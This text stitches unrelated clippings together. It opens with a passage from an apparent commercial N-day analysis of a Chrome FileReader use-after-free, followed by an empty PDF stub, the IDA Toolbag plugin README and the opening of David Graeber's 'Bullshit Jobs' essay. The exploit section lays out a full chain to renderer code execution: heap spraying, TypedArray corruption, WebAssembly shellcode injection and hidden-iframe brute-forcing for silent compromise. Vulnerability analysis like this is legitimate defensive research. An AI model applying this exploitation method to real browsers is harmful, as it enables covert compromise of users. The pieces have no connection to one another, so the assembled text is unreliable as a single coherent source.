| DOMArrayBuffer\* FileReaderLoader::ArrayBufferResult\(\) \{  
DCHECK\_EQ\(read\_type\_, kReadAsArrayBuffer\);  
if \(array\_buffer\_result\_\)  
return array\_buffer\_result\_;  
  
// If the loading is not started or an error occurs, return an empty result.  
if \(\!raw\_data\_ || error\_code\_ \!= FileErrorCode::kOK\)  
return nullptr;  
  
DOMArrayBuffer\* result =
DOMArrayBuffer::Create\(raw\_data\_->ToArrayBuffer\(\)\);  
if \(finished\_loading\_\) \{  
array\_buffer\_result\_ = result;  
AdjustReportedMemoryUsageToV8\(  
-1 \* static\_cast<int64\_t>\(raw\_data\_->ByteLength\(\)\)\);  
raw\_data\_.reset\(\);  
\}  
return result;  
\}  
---|---  
This function gets called each time the result property is accessed in a
callback after a _FileReader.readAsArrayBuffer_ call in JavaScript.

While the object hierarchy around the C++ implementation of ArrayBuffers is
relatively complicated, the important pieces are described below. Note that
the C++ namespaces of the different classes are included so that
distinguishing between objects implemented in Chromium \(the WTF and blink
namespaces\) and v8 \(everything under the v8 namespace\) is easier.

  * **WTF::ArrayBuffer** : the embedder-side \(Chromium\) implementation of the ArrayBuffer concept. **WTF::ArrayBuffer** objects are reference counted and contain the raw pointer to their underlying memory buffer, which is freed when the reference count of an ArrayBuffer reaches 0.
  * **blink::DOMArrayBufferBase** : a garbage collected class containing a smart pointer to a **WTF::ArrayBuffer**.
  * **blink::DOMArrayBuffer** : class inheriting from **blink::DOMArrayBufferBase** , describing an ArrayBuffer in Chromium. Represented in the JavaScript engine by a **v8::internal::JSArrayBuffer** instance.
  * **WTF::ArrayBufferBuilder** : helper class to construct a **WTF::ArrayBuffer** incrementally. Holds a smart pointer to the ArrayBuffer.
  * **blink::FileReaderLoader** : responsible for loading the File or Blob contents. Uses **WTF::ArrayBufferBuilder** to build the ArrayBuffer as the data is read.

Comparing the code to the fixed version shown below, the most important
difference is that if loading is not finished, the patched version creates new
ArrayBuffer objects using the ArrayBuffer::Create function while the
vulnerable version simply passes on a reference to the existing ArrayBuffer to
the DOMArrayBuffer::Create function. ToArrayBuffer always returns the actual
state of the ArrayBuffer being built but since the reading is a asynchronous,
it may return the same one under some circumstances.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
| DOMArrayBuffer\* FileReaderLoader::ArrayBufferResult\(\) \{  
DCHECK\_EQ\(read\_type\_, kReadAsArrayBuffer\);  
if \(array\_buffer\_result\_\)  
return array\_buffer\_result\_;  
  
// If the loading is not started or an error occurs, return an empty result.  
if \(\!raw\_data\_ || error\_code\_ \!= FileErrorCode::kOK\)  
return nullptr;  
  
if \(\!finished\_loading\_\) \{  
return DOMArrayBuffer::Create\(  
ArrayBuffer::Create\(raw\_data\_->Data\(\), raw\_data\_->ByteLength\(\)\)\);  
\}  
  
array\_buffer\_result\_ =
DOMArrayBuffer::Create\(raw\_data\_->ToArrayBuffer\(\)\);  
AdjustReportedMemoryUsageToV8\(-1 \*  
static\_cast<int64\_t>\(raw\_data\_->ByteLength\(\)\)\);  
raw\_data\_.reset\(\);  
return array\_buffer\_result\_;  
\}  
---|---  
What are those circumstances? The _raw\_data\__ variable in the code is of the
type _ArrayBufferBuilder_ , which is used to construct the result ArrayBuffer
from the incrementally read data by dynamically allocating larger and larger
underlying ArrayBuffers as needed. The ToArrayBuffer method returns a smart
pointer to this underlying ArrayBuffer if the contents read so far fully
occupy the currently allocated buffer and creates a new one via slicing if the
buffer is not fully used yet.

1  
2  
3  
4  
5  
6  
7  
| scoped\_refptr<ArrayBuffer> ArrayBufferBuilder::ToArrayBuffer\(\) \{  
// Fully used. Return m\_buffer as-is.  
if \(buffer\_->ByteLength\(\) == bytes\_used\_\)  
return buffer\_;  
  
return buffer\_->Slice\(0, bytes\_used\_\);  
\}  
---|---  
One way to abuse the multiple references to the same ArrayBuffer is by
detaching the ArrayBuffer through one and using the other, now dangling,
reference. The javascript _postMessage\(\)_ method can be used to send
messages to a JS Worker. It also has an additional parameter, _transfer_ ,
which is an array of _Transferable_ objects, the ownership of which are
transfered to the Worker.

The transfer is done by the
_blink::SerializedScriptValue::TransferArrayBufferContents_ function, which
iterates over the _DOMArrayBuffers_ provided in the _transfer_ parameter to
_postMessage_ and invokes the _Transfer_ method of each, as shown below.
_blink::-DOMArrayBuffer::Transfer_ calls into _WTF::ArrayBuffer::Transfer_ ,
which transfers the ownership of the underlying data buffer.

The vulnerability can be triggered by passing multiple
_blink::DOMArrayBuffers_ that reference the same underlying ArrayBuffer to
_postMessage_. Transferring the first will take ownership of its buffer, then
the transfer of the second will fail because its underlying ArrayBuffer has
already been neutered. This causes
_blink::SerializedScriptValue::TransferArrayBufferContents_ to enter an error
path, freeing the already transferred ArrayBuffer but leaving a dangling
reference to it in the second _blink::DOMArrayBuffer_ , which can then be used
to access the freed memory through JavaScript.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
| SerializedScriptValue::TransferArrayBufferContents\(  
...  
for \(auto\* it = array\_buffers.begin\(\); it \!= array\_buffers.end\(\);
++it\) \{  
DOMArrayBufferBase\* array\_buffer\_base = \*it;  
if \(visited.Contains\(array\_buffer\_base\)\)  
continue;  
visited.insert\(array\_buffer\_base\);  
  
wtf\_size\_t index =
static\_cast<wtf\_size\_t>\(std::distance\(array\_buffers.begin\(\), it\)\);  
...  
DOMArrayBuffer\* array\_buffer =
static\_cast<DOMArrayBuffer\*>\(array\_buffer\_base\);  
  
if \(\!array\_buffer->Transfer\(isolate, contents.at\(index\)\)\) \{  
exception\_state.ThrowDOMException\(DOMExceptionCode::kDataCloneError,  
"ArrayBuffer at index " +  
String::Number\(index\) +  
" could not be transferred."\);  
return ArrayBufferContentsArray\(\);  
\}  
\}  
---|---  
# Exploitation

The vulnerability can be turned into an arbitrary read/write primitive by
reclaiming the memory region pointed to by the dangling pointer with
JavaScript TypedArrays and corrupting their length and backing store pointers.
This can then be further utilized to achieve arbitrary code execution in the
renderer process.

## Memory Management in Chrome

There are several aspects of memory management in Chrome that affect the
reliability of the vulnerability. Chrome uses PartitionAlloc to allocate the
backing store of ArrayBuffers. This effectively separates ArrayBuffer backing
stores from other kinds of allocations, making the vulnerability unexploitable
if the region that is freed is below 2MiB in size because PartitionAlloc will
never reuse those allocations for other kinds of data. If the backing store
size is above 2MiB, it is placed in a directly mapped region. Once freed,
other kinds of allocations can reuse such a region. However, successfully
reclaiming the freed region is only possible on 32-bit platforms, as
PartitionAlloc adds additional randomness to its allocations via VirtualAlloc
and mmap address hinting on 64-bit platforms beside their ASLR slides.

On a 32-bit Windows 7 install, the address space of a fresh Chrome process is
similar to the one shown below. Note that these addresses are not static and
will differ by the ASLR slide of Windows. Bottom-up allocations start from the
lower end of the address space, the last one is the reserved region starting
at _36681000_. Windows heaps, PartitionAlloc regions, garbage collected heaps
of v8 and Chrome, thread stacks are all placed among these regions in a
bottom-up fashion. The backing store of the vulnerable _ArrayBuffer_ will also
reside here. An important thing to note is that Chrome makes a 512MiB reserved
allocation \(from _4600000_ on the listing below\) early on. This is done
because the address space on x86 Windows systems is tight and gets fragmented
quickly, therefore Chrome makes an early reservation to be able to hand it out
for large contiguous allocations, like _ArrayBuffers_ , if needed. Once an
ArrayBuffer allocation fails, Chrome frees this reserved region and tries
again. The logic that handles this could complicate exploitation, so the
exploit starts out by attempting a large \(1GiB\) ArrayBuffer allocation. This
will cause Chrome to free the reserved region, then fail to allocate again,
since the address space cannot have a gap of the requested size. While most
OOM conditions kill the renderer process, ArrayBuffer allocation failures are
recoverable from JavaScript via exception handling.

1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
| ...  
45f5000 45f8000 3000 MEM\_PRIVATE MEM\_COMMIT PAGE\_READWRITE <unknown>
\[................\]  
45f8000 4600000 8000 MEM\_PRIVATE MEM\_RESERVE <unknown>  
4600000 24600000 20000000 MEM\_PRIVATE MEM\_RESERVE <unknown>  
24600000 24601000 1000 MEM\_PRIVATE MEM\_COMMIT PAGE\_READWRITE <unknown>
\[...............j\]  
24601000 24602000 1000 MEM\_PRIVATE MEM\_RESERVE <unknown>  
...  
36681000 36690000 f000 MEM\_PRIVATE MEM\_RESERVE <unknown>  
36690000 65fc0000 2f930000 MEM\_FREE PAGE\_NOACCESS Free  
65fc0000 65fc1000 1000 MEM\_IMAGE MEM\_COMMIT PAGE\_READONLY Image \[dbghelp;
"C:\Windows\system32\dbghelp.dll"\]  
65fc1000 66085000 c4000 MEM\_IMAGE MEM\_COMMIT PAGE\_EXECUTE\_READ Image
\[dbghelp; "C:\Windows\system32\dbghelp.dll"\]  
66085000 66086000 1000 MEM\_IMAGE MEM\_COMMIT PAGE\_READWRITE Image \[dbghelp;
"C:\Windows\system32\dbghelp.dll"\]  
...  
---|---  
Another important factor is the non-deterministic nature of the multiple
garbage collectors that are involved in the managed heaps of Chrome. This
introduces noise in the address space that is hard to control from JavaScript.
Since the _onprogress_ events used to trigger the vulnerability are also fired
a non-deterministic number of times, and each event causes an allocation, the
final location of the vulnerable ArrayBuffer is uncontrollable without the
ability to trigger garbage collections on demand from JavaScript. The exploit
uses the code shown below to invoke garbage collection. This makes it possible
to free the results of _onprogress_ events continuously, which helps in
avoiding out-of-memory kills of the renderer process and also forces the
dangling pointer created upon triggering the vulnerability to point to the
lower end of the address space, somewhere into the beginning of the original
512MiB reserved region.

1  
2  
3  
4  
5  
6  
7  
8  
| function force\_gc\(\) \{  
// forces a garbage collection to avoid OOM kills and help with heap non-
determinism  
try \{  
var failure = new WebAssembly.Memory\(\{initial: 32767\}\);  
\} catch\(e\) \{  
// console.log\(e.message\);  
\}  
\}  
---|---  
## Exploitation steps

The exploit achieves code execution by the following steps:

  * Allocate a large \(128MiB\) string that will be used as the source of the _Blob_ passed to _FileReader_. This allocation will end up in the free region following the bottom-up allocations \(from _36690000_ in the address space listing above\).
  * Free the 512MiB reserved region via an oversized _ArrayBuffer_ allocation, as discussed in previously.
  * Invoke _FileReader.readAsArrayBuffer_. A number of _onprogress_ event will be triggered, the last couple of which can return references to the same underlying ArrayBuffer if the timing of the events is right. This step can be repeated indefinitely until successful without crashing the process.
  * Free the backing store of the ArrayBuffer through one of the references. Going forward, another reference can be used to access the dangling pointer.
  * Reclaim the freed region by spraying the heap with recognizable JavaScript objects, interspersed with TypedArrays.
  * Look for the recognizable pattern through the dangling reference. This enables leaking the address of arbitrary objects by setting them as properties on the found object, then reading back the property value through the dangling pointer.
  * Corrupt the backing store of a sprayed TypedArray and use it to achieve arbitrary read write access to the address space.
  * Load a WebAssembly module. This maps a read-write-executable memory region of 64KiB into the address space.
  * Traverse the JSFunction object hierarchy of an exported function from the WebAssembly module using the arbitrary read/write primitive to find the address of the read-write-executable region.
  * Replace the code of the WebAssembly function with shellcode and execute it by invoking the function.

## Increasing reliability

A single run of the exploit \(which uses the steps detailed above\) yields a
success rate of about 25%, but using a trick you can turn that into
effectively 100% reliability. Abusing the site isolation feature of Chrome
enables brute-forcing, as described in another post on this blog by Ki Chan
Ahn \(look for the section titled “Making a Stealth Exploit by abusing
Chrome’s Site Isolation”\). A site corresponds to a \(scheme:host\) tuple,
therefore hosting the brute forcing wrapper script on one site which loads the
exploit repeatedly in an iframe from another host will cause new processes to
be created for each exploit attempt. These iframes can be hidden from the
user, resulting in a silent compromise. Using multiple sites to host the
exploit code, the process can be parallelized \(subject to memory and site-
isolation process limits\). The exploit developed uses a conservative timeout
of 10 seconds for one iteration without parallelization and achieves code
execution on average under half a minute.

The entire exploit code can be found on our github and it can be seen in
action below.

  

## Detection

The exploit doesn’t rely on any uncommon features or cause unusual behavior in
the renderer process, which makes distinguishing between malicious and benign
code difficult without false positive results.

## Mitigation

Disabling JavaScript execution via the Settings / Advanced settings / Privacy
and security / Content settings menu provides effective mitigation against the
vulnerability.

# Conclusion

It’s interesting to see exploits in the wild still targeting older platforms
like Windows 7 x86. The 32-bit address space is so crowded that additional
randomization is disabled in PartitionAlloc and win32k lockdown is only
available starting Windows 8. Therefore, the lack of mitigations on Windows 7
that are present in later versions of Windows make it a relatively soft target
for exploitation.

Subscribers of our N-Day feed can leverage our in-depth analysis of critical
vulnerabilities to defend themselves better, or use the provided exploits
during internal penetration tests.

# PDF - www.aimlab.org

**Created:**| _7/17/2017 11:25:01 AM_  
---|---  
**Updated:**| _7/17/2017 11:25:01 AM_  
**Author:**| __  
**Tags:**| __  
  

  
<img src='img/npc16-overflow.pdf' />  

# IDA Toolbag

**Created:**| _4/7/2012 11:18:14 AM_  
---|---  
**Updated:**| _4/7/2012 11:18:14 AM_  
**Author:**| __  
**Tags:**| _iDA scripting_  
  

IDA Toolbag

A collection of IDA Pro scripts from the ZDI team

## Installation

  

**Toolbag requires IDA version 6.2 or greater.**

  
The toolbag code should be unpacked to:

> C:\Users\username\AppData\Roaming\Hex-Rays\IDA Pro
or  
  

> C:\Documents and Settings\username\Application Data\Hex-Rays\IDA Pro
..as IDA executes the idapythonrc.py file located therein on load.

[code]

    C:\Users\username\AppData\Roaming\Hex-Rays\IDA Pro>ls -l
        total 8
        -rw-rw-rw-   1 user     group         211 Mar 30 20:27 AUTHORS.txt
        -rw-rw-rw-   1 user     group        2648 Apr  1 21:17 README.txt
        -rw-rw-rw-   1 user     group          47 Mar 30 20:27 __root__.py
        -rw-rw-rw-   1 user     group         153 Mar 30 20:29 __root__.pyc
        drwxrwxrwx   1 user     group           0 Mar 30 20:27 app
        drwxrwxrwx   1 user     group           0 Mar 31 19:20 base
        -rw-rw-rw-   1 user     group        1901 Mar 31 22:34 idapythonrc.py
        drwxrwxrwx   1 user     group           0 Mar 31 19:20 misc
        drwxrwxrwx   1 user     group           0 Apr  3 16:01 toolbag
        drwxrwxrwx   1 user     group           0 Mar 30 20:27 user
    
    C:\Users\username\AppData\Roaming\Hex-Rays\IDA Pro>
    
[/code]

  
  

You will also need the pre-built PySide binaries from Hex-Rays available to
licensed users on their site: http://hex-
rays.com/idapro/ida/windows\_pyside\_python26\_package.zip. and of course
Python 2.6 and IDAPython \(comes with IDA\) for Python 2.6.

  
  

\[top\]

### Third Party Code

In order to enable remote debugger communication, download vdb from
http://visi.kenshoto.com and place it in the toolbag subdirectory as **vdb**.

If you want to use networkx for basic block pathfinding, download it from
http://networkx.lanl.gov and place it in the toolbag subdirectory as
**networkx**.

\[top\]

## Configuration

  
Configuration options are defined in **toolbag\config.py**. You can override
any of these settings by creating a **userconfig.py** in the same directory
with simply a dictionary named options, like so:

>
[code]

>     options = {
>         # default tabs enabled
>         'enabled_tabs'           : ["File System", "Pathfinding"],
>  
>         # hotkeys  
>         'history_hotkey'         : 'Ctrl-H',
>  
>         # aesthetics
>         'font_name'              : 'Tahoma',
>  
>         # misc
>         'editor'                 : 'C:\\windows\\system32\\notepad.exe',
>  
>         # milliseconds to poll queue
>         'queue_interval'         : 3000,
>  
>         # path finding colors
>         'path_coloring_enabled'  : True,
>     }
>  
[/code]

\[top\]

## Platform Notes

  
This is all very windows-centric code. Also, it's only been tested heavily on
IDA 6.2 disassembling x86, I have no idea how this would work on other
architectures \(ones being disassembled, I mean\).

  

**\!\! IMPORTANT \!\!**  
If you want to load another IDB and use toolbag, close IDA entirely and then
open your new module and load the tool. If you don't there are some state
issues we haven't worked out yet that will screw things up.

\[top\]

## Instantiation

  

Toolbag must be imported once you load a module in IDA. We recommend you wait
for IDA's auto-analysis to finish before importing our code. When IDA shows
"AU: idle" in its status bar on the bottom left of the UI, go ahead and import
toolbag via the Python command line within IDA.

When you import toolbag for the first time, it begins creating a SQLite
database in the same directory as your IDB. You only have to do this once.
When you import toolbag on subsequent loads of your IDB it should find the .DB
file it generated and instantly fire up the toolbag UI.

When creating the initial DB file, toolbag iterates over all the functions in
your module and inserts edge records into our SQLite database to indicate when
a function calls another. Our code also either adds a new segment to your IDB
\(whose name is specified in your options as **'segment\_name'**\) or creates
a new netnode, depending on what the value of **'file\_system\_type'** is.
We'll get to the filesystem and what it is used for later. For the segment
file system implementation details, please see our blog post on the topic.

Here's the sample output of toolbag run on calc.exe for the first time:

[code]

                            
    Python>import toolbag
    [*] Initializing toolbag
    --------------------------------------------------------------------------------
    [*] Options:
            user_scripts_dir => C:\\Users\\aaron\\AppData\\Roaming\\Hex-Rays\\IDA Pro\user\bin
            dev_mode => False
            func_path_color => 16711935
            history_color => 21760
            highlighted_background => darkgreen
            file_name => calc.DB
            coloring_enabled => False
            history_hotkey => Ctrl-Space
            bb_path_start => Ctrl-Shift-S
            enabled_tabs => ['File System', 'Queues']
            segment_name => .zip
            create_mark_hotkey => Alt-M
            full_file_name => C:\tmp\sample\calc.DB
            font_name => Courier
            font_size => 8
            path_start => Ctrl-S
            path_end => Ctrl-E
            background_color => gainsboro
            verbosity => 10
            highlighted_foreground => white
            queue_interval => 1500
            path_coloring_enabled => False
            db_location => disk
            editor => C:\windows\system32\notepad.exe
            jump_mark_hotkey => Ctrl-M
            bb_path_end => Ctrl-Shift-E
            syntax_coloring => False
            font_color => black
            queue_reminder => 6
            toolbag_dir => C:\\Users\\aaron\\AppData\\Roaming\\Hex-Rays\\IDA Pro\toolbag
            remote_host => 192.168.1.51
            segment_size => 2097152
            bb_path_color => 255
    --------------------------------------------------------------------------------
    [*] fs.py: didn't find an existing segment, making a new one.
    [*] segment.py: there is room above current segments
      5. Creating a new segment  (01060000-01260000) ... ... OK
    [*] __init__.py: loading DB file from disk
    [!] Unable to load the database file on disk at C:\tmp\sample\calc.DB
    [*] Creating a new database file on disk
    [*] db.py: Creating a new DB file
    WARNING:root:defaulting to maintenance account (session id 0)
    [*] Successfully created 4 new functions
    [*] db.py: Processing 0x0100a455 (250 of 1933)
    [*] db.py: Processing 0x01012cf5 (500 of 1933)
    [*] db.py: Processing 0x01018506 (750 of 1933)
    [*] db.py: Processing 0x0101f639 (1000 of 1933)
    [*] db.py: Processing 0x01032406 (1250 of 1933)
    [*] db.py: Processing 0x0103b0a8 (1500 of 1933)
    [*] db.py: Processing 0x010447a7 (1750 of 1933)
    [*] db.py: Processing 0x0105070a (1933 of 1933)
    [*] Failed to process 9 functions
    [*] Successfully processed 1924 functions
    [*] No longer any data in the key store: File is not a zip file
    [!] Tried to load a file default.sess that may not exist
    
[/code]

Note: the "Failed to process 9 functions" is usually due to IDA analysis
issues and is not critical. Also, the "Tried to load a file default.sess" is
not an error in this context.

\[top\]

## Usage

  

### The Toolbag UI

When the toolbag UI launches you will be presented with a dockable widget that
looks something like this:

  
<img src='img/Temp2_4195.png' width='75%' />  
  

You can drag this widget around and dock it wherever you'd like, or leave it
free-floating:

  
  
<img src='img/Temp2_4202.png' width='75%' />  
  

The UI has several tabs available to you. The ones shown can be configured by
the **'enabled\_tabs'** option in userconfig.py. Additionally, you can enable
or disable a tab via the View menu option \(some tabs are required and cannot
be disabled\):

  
  
<img src='img/Temp2_4194.png' width='75%' />  
  
  

\[top\]

### The History Tab

The history tab is used to keep track of code locations you've marked as
interesting \(not to be confused with IDA's marks\). To add an item to the
history view, simply hit the key combo defined by **'history\_hotkey'**. The
default is **Ctrl+Space**. When you hit this combo a new entry will appear in
the first pane. Additionally, if you **'coloring\_enabled'** set to True the
basic block will be colored the value of **'history\_color'**.

When you add a location to the history view, the SQLite database is queried to
determine child-parent relationships between the function you added and any
others currently in the history's pane. So, if you add a child of a function
already in your history view it will be relocated as such in the pane:

  
  
<img src='img/Temp2_4224.png' width='75%' />  
  
  

Adding parents will relocate the items appropriately. Any of the entries in
the tree can be clicked and will result in IDA jumping to its address. We've
found that these graphs visually help us better understand code flow when
reversing:

  
  
<img src='img/Temp2_4206.png' width='75%' />  
  
  

You can also clear the tree with the **Clear History** button. You can save
the history for transferring to others or locally using the **Save History**
button \(we'll get to how this works later\).

The **Show Imports** button will, upon a press, toggle a new pane that shows
the imported functions called by any child in a specific subtree. A screenshot
probably best explains this:

  
  
<img src='img/Temp2_4210.png' width='75%' />  
  

Note that the new import pane has a column **Caller** which specifies which of
the children below the currently selected one called that import and the
address of that call.

If you right-click any item in the first pane you can query the database for
nearby functions:

  

<img src='img/Temp2_4222.png' width='50%' />  
  
  
<img src='img/Temp2_4215.png' width='40%' />  
  

This queries the database for functions within 2 calls from the selected one
and displays a new, dockable, widget:

  
  
<img src='img/Temp2_4219.png' width='75%' />  
  

You can also supply a negative depth to display callers:

  
  
<img src='img/Temp2_4220.png' width='75%' />  
  

As you may have noticed, you can search the disassembly of any of the
functions listed \(regex is supported via the checkbox, colors can be changed
via **'highlighted\_background'** and **highlighted\_foreground'**\):

  
  
<img src='img/Temp2_4208.png' width='75%' />  
  

The last thing to mention about the history tab \(for now\) is that whatever
tree is present in the pane when you quit IDA is automatically saved and
restored next time you open your IDB and import toolbag. That was the
default.sess error that was shown when toolbag was first launched. As it was
the first time running the tool, there was no default view to load.

  
  

\[top\]

### Marks

By default, toolbag overrides IDA's marking system. This can be changed by
adding new values for the **'create\_mark\_hotkey'** and
**'jump\_mark\_hotkey'** keys in userconfig.py. When toolbag is running, if
you hit the mark key combo you'll see this dialog:

  
  
<img src='img/Temp2_4193.png' width='75%' />  
  

The toolbag marking system allows you to specify an optional **Group** which
you can later sort on. This is useful for keeping track of reversing sessions,
or which marks were added by who \(if you're collaborating\).

When a user invokes the key combo for jumping to a mark, the toolbag UI will
switch focus to the **Global Marks** tab which contains click-able entries:

  
  
<img src='img/Temp2_4223.png' width='75%' />  
  

Toolbag also introduces the concept of **Local Marks**. Basically, if you are
inside a function that is currently in your history tree and there is a mark
within that function, it will be displayed in the pane below the history tree,
like so:

  
  
<img src='img/Temp2_4201.png' width='75%' />  
  

It should be noted that there is no difference between local vs global marks,
just how they are displayed in the UI. Also, the marks are not stored in the
IDB and are not tied in any way to IDA's marks. Instead, they are stored as
attributes inside the SQLite database.

Finally, you can delete any mark entries by right-clicking them and choosing
**Delete**.

  
  

\[top\]

### Comments

Comments are transparently hooked when toolbag is loaded using
idaapi.UI\_Hooks. When a user attempts to add a comment \(repeatable or
otherwise\) the normal IDA popup is presented and everything behaves as IDA
normally would. What goes on behind the scenes is that Toolbag saves the
information to the file system. This allows the user to push comments to peers
from the file system tab's right-click context menu \(see the Filesystem
section for more information\).

The receiving user can apply the marks received using the same right-click
context menu \(via the **Apply** option\). In order to not clobber any
comments they may already have, a new UI pops up showing any potential
conflicts:

  
  
<img src='img/Temp2_4213.png' width='75%' />  
  
  
  
<img src='img/Temp2_4207.png' width='75%' />  
  

Entries in this UI can be selected individually via Ctrl, Shift, or the
**Select All** button:

  
  
<img src='img/Temp2_4216.png' width='75%' />  
  

When the **Apply** button is pressed, the comments are applied to the user's
IDB:

  
  
<img src='img/Temp2_4197.png' width='75%' />  
  

Soon this will also be supported with stack variables, arguments, function
names, and location names.

### File System

  

Toolbag uses a pseudo-filesystem for storing various... things. When toolbag
is initialized there are two ways it can initialize the FS. If the
configuration option **'file\_system\_type'** is set to **'segment'** , the
code will create a new segment \(whose name is configurable by
**'segment\_name'**\) that contains a 4-byte header and a ZIP file. You can
read a bit about the implementation here. If the **'file\_system\_type'** is
set to **'netnode'** the code will use the idaapi.netnode API to store files.

The file system looks something like this:

  
  
<img src='img/Temp2_4198.png' width='75%' />  
  

You can add arbitrary files to the toolbag file system from your actual file
system using the **Add File** option in the right-click context menu. You can
also export any file via the **Export** option, and delete them with
**Delete**.

More useful, however, is the ability to store other objects from toolbag into
the file system. For example, from the History tab, you can use the **'Save
History'** button to store the current tree into the file system for later
use:

  
  
<img src='img/Temp2_4226.png' width='75%' />  
  
  
  
<img src='img/Temp2_4199.png' width='75%' />  
  

History objects are saved with a **.sess** extension. If you right-click them
from the file system view and choose **Load in History** , toolbag will clear
the current data in your History, load the .sess file, and switch focus to the
History tab.

  
  

\[top\]

### Pathfinding

The pathfinding tab allows you to plot all possible paths either from a
function to another function or a basic block to another basic block.

To use the function-level pathfinding, you mark the start via the key combo
defined by **'path\_start'** and the end via the **'path\_end'** one.

To use the basic block-level pathfinding, you use the hotkeys defined by
**'bb\_path\_start'** and **'bb\_path\_end'**.

You can also enable coloring of the nodes by setting
**'path\_coloring\_enabled'** to True. The colors are specified by
**'func\_path\_color'** and **'bb\_path\_color'**.

XXX: insert some pics of the pathfinding tab

Here's what it looks like when you plot a function-level graph \(nodes are
click-able\):

  
  
<img src='img/Temp2_4221.png' width='75%' />  
  

\[top\]

### User Scripts

The user scripts tab enables you to quickly execute python files located in
the directory specified by **'user\_scripts\_dir'**. This pane is populated
dynamically and you can simply double-click any item to execute it. Also, if
you right-click a file in this view you can choose **Edit** and the program
defined by **'editor'** will be executed on the file.

  
  
<img src='img/Temp2_4205.png' width='75%' />  
  
  

\[top\]

### Queues

The Queues tab allows you to send and receive data from other toolbag users.
To do so, you can set up a server by specifying your local IP, port and a key
passphrase that subscribers must know in order to push you data:

  
  
<img src='img/Temp2_4196.png' width='75%' />  
  

Once you have a server set up, a peer can subscribe to you \(assuming they
know the key\):

  
  
<img src='img/Temp2_4203.png' width='75%' />  
  

When this occurs, the user running the server is notified via a balloon-style
popup:

  
  
<img src='img/Temp2_4192.png' width='75%' />  
  

At this point, peers can push data to the server. If the user running the
server wanted to push data back, the receiving client must set up a server of
their own.

Arbitrary objects can be shared between Toolbag users. For example, anything
in the filesystem can easily be pushed:

  
  
<img src='img/Temp2_4200.png' width='75%' />  
  

...and received by the client:

  
  
<img src='img/Temp2_4214.png' width='75%' />  
  
  
  
<img src='img/Temp2_4211.png' width='75%' />  
  

The receiving client can decide what to do with the data. It is not used until
the Toolbag user decides to **Store** it, at which point it is saved to their
file system:

  
  
<img src='img/Temp2_4209.png' width='75%' />  
  
  
  
<img src='img/Temp2_4225.png' width='45%' />  
  

In addition so sharing arbitrary objects from the file system, users can push
marks or history trees directly from their respective panes:

  
  
<img src='img/Temp2_4218.png' width='75%' />  
  
  
  
<img src='img/Temp2_4204.png' width='75%' />  
  

The file system tab checks the extensions on saved files and allows the user
to act on certain types. For example, anything ending in **.sess** is assumed
to be a history tree and the user is able to choose to **Load in History** at
which point their current history tree is cleared and the new one is loaded
from the file system:

  
  
<img src='img/Temp2_4212.png' width='75%' />  
  

This functionality applies to marks as well. They are denoted by their
**.marks** extension. The Toolbag user can choose to **Apply** marks from a
saved file \(note that when this is invoked, the marks are stored in the
SQLite DB as attributes of the function\):

  
  
<img src='img/Temp2_4217.png' width='75%' />  
  

Finally, it should be noted that a user can reject anything sent to them from
anyone via the **Reject** option in the Queues right-click context menu.

**Security Note: Yes, deserializing arbitary objects sent from possibly
unknown users could be a ... problem. All objects received are not
deserialized until the user chooses to store them. However, if someone guesses
your key and you choose to store an object from them, you suck at passwords
and deserve what comes.**

\[top\]

  
  
  

### VTrace

The VTrace tab allows you to instrument a remote debugger and query it for
information that you can act upon within IDA.

\(More docs coming soon\)

\[top\]

  
  

## Advanced

  
  

### getContext

You can get a reference to many of the base objects Toolbag uses if you want
to manually interact with the database, the UI, the FS, or history trees:

[code]

    Python>ctx = toolbag.toolbag.getContext()
    Python>for x in ctx: print x
    <toolbag.ui.UI object at 0x0587FDF0>
    <toolbag.db.DB instance at 0x0588D580>
    <toolbag.fs.FS instance at 0x0588D3C8>
    <toolbag.RefTree.RefTree object at 0x0587FC90>
    
[/code]

  
  

Try invoking help\(\) on any of those objects... or stop being lazy and read
some code.

\[top\]

  
  

### The fu Module

The fu module is similar to python's pickle module, but with more capability.
With fu you are able to serialize a code object \(including its current
state\) and ship it elsewhere. This can be immensely useful if you want to do
things like ship a coworker a partially-executed function for them to
continue.

# On the Phenomenon of Bullshit Jobs | Strike\! Magazine
**Created:**| _8/20/2013 9:08:39 AM_  
---|---  
**Updated:**| _8/20/2013 9:08:39 AM_  
**Author:**| __  
**Tags:**| _security people opinion_  
  

# **O** n the Phenomenon of Bullshit Jobs****

Posted on August 17, 2013

Ever had the feeling that your job might be made up**?** That the world would
keep on turning if you weren’t doing that thing you do 9-5**?** David Graeber
explored the phenomenon of bullshit jobs for our recent summer issue –
everyone who’s employed should read carefully…

**If you enjoy this article please help support the radical print revolution
by picking up a copy of Strike**\!** here **.****

<img src='img/Temp2_5803.jpg' />

Illustration by John Riordan

**On the Phenomenon of Bullshit Jobs by David Graeber**.****

In the year 1930, John Maynard Keynes predicted that, by century’s end,
technology would have advanced sufficiently that countries like Great Britain
or the United States would have achieved a 15-hour work week**.** There’s
every reason to believe he was right. In technological terms, we are quite
capable of this**.** And yet it didn’t happen. Instead, technology has been
marshaled, if anything, to figure out ways to make us all work more**.** In
order to achieve this, jobs have had to be created that are, effectively,
pointless**.** Huge swathes of people, in Europe and North America in
particular, spend their entire working lives performing tasks they secretly
believe do not really need to be performed**.** The moral and spiritual damage
that comes from this situation is profound**.** It is a scar across our
collective soul**.** Yet virtually no one talks about it.

Why did Keynes’ promised utopia – still being eagerly awaited in the ‘60s –
never materialise**?** The standard line today is that he didn’t figure in the
massive increase in consumerism**.** Given the choice between less hours and
more toys and pleasures, we’ve collectively chosen the latter**.** This
presents a nice morality tale, but even a moment’s reflection shows it can’t
really be true**.** Yes, we have witnessed the creation of an endless variety
of new jobs and industries since the ‘20s, but very few have anything to do
with the production and distribution of sushi, iPhones, or fancy sneakers**.**

So what are these new jobs, precisely**?** A recent report comparing
employment in the US between 1910 and 2000 gives us a clear picture \(and I
note, one pretty much exactly echoed in the UK\)**.** Over the course of the
last century, the number of workers employed as domestic servants, in
industry, and in the farm sector has collapsed dramatically**.** At the same
time, “professional, managerial, clerical, sales, and service workers”
tripled, growing “from one-quarter to three-quarters of total employment**.**
” In other words, productive jobs have, just as predicted, been largely
automated away \(even if you count industrial workers globally, including the
toiling masses in India and China, such workers are still not nearly so large
a percentage of the world population as they used to be\)**.**

